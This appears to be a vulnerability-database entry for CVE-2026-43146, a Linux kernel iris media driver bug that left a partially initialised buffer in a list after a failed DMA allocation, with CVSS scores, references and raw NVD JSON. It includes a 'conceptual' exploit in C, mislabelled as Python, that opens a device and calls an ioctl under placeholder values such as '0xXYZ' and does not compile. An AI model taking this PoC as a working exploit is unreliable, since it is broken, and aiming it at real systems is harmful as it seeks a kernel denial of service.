CVE-2026-43146

Description

In the Linux kernel, the following vulnerability has been resolved: media: iris: Add buffer to list only after successful allocation Move `list_add_tail()` to after `dma_alloc_attrs()` succeeds when creating internal buffers. Previously, the buffer was enqueued in `buffers->list` before the DMA allocation. If the allocation failed, the function returned `-ENOMEM` while leaving a partially initialized buffer in the list, which could lead to inconsistent state and potential leaks. By adding the buffer to the list only after `dma_alloc_attrs()` succeeds, we ensure the list contains only valid, fully initialized buffers.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel（修复提交之前）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual PoC for CVE-2026-43146
 * This PoC attempts to trigger the buffer allocation failure
 * in the iris driver by stressing memory and invoking the driver.
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

// Placeholder for actual device path and ioctl code
#define DEVICE_PATH "/dev/videoX"
#define IOCTL_ALLOC_BUFFERS 0xXYZ

int main() {
    int fd;
    printf("[*] Attempting to open iris device...\n");
    fd = open(DEVICE_PATH, O_RDWR);
    if (fd < 0) {
        perror("[-] Failed to open device");
        return 1;
    }

    printf("[*] Triggering buffer allocation under memory pressure...\n");
    // In a real scenario, memory pressure would be induced beforehand
    // to force dma_alloc_attrs to fail.
    if (ioctl(fd, IOCTL_ALLOC_BUFFERS, NULL) < 0) {
        // Expecting -ENOMEM, but the vulnerability is the side effect
        printf("[+] Triggered allocation failure (expected).\n");
    }

    close(fd);
    printf("[*] Check kernel logs for inconsistencies or crashes.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43146
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43146
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43146/
[4] VulDB https://vuldb.com/cve/CVE-2026-43146
[5] https://git.kernel.org/stable/c/2d0bbd982dfdd67da488a772f7a8a1bdca7642bf
[6] https://git.kernel.org/stable/c/45b30f65feeb4d5570d5337793bb0f298be813d2
[7] https://git.kernel.org/stable/c/98b4c4c90f1e11caecbe2093dbe3a901d338bc81

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43146", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:32.127", "lastModified": "2026-05-13T20:19:38.283", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: iris: Add buffer to list only after successful allocation\n\nMove `list_add_tail()` to after `dma_alloc_attrs()` succeeds when creating\ninternal buffers. Previously, the buffer was enqueued in `buffers->list`\nbefore the DMA allocation. If the allocation failed, the function returned\n`-ENOMEM` while leaving a partially initialized buffer in the list, which\ncould lead to inconsistent state and potential leaks.\n\nBy adding the buffer to the list only after `dma_alloc_attrs()` succeeds,\nwe ensure the list contains only valid, fully initialized buffers."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.15", "versionEndExcluding": "6.18.16", "matchCriteriaId": "5B5F989F-E891-48E4-9EC9-3C5EFD3DB9DC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2d0bbd982dfdd67da488a772f7a8a1bdca7642bf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/45b30f65feeb4d5570d5337793bb0f298be813d2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/98b4c4c90f1e11caecbe2093dbe3a901d338bc81", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}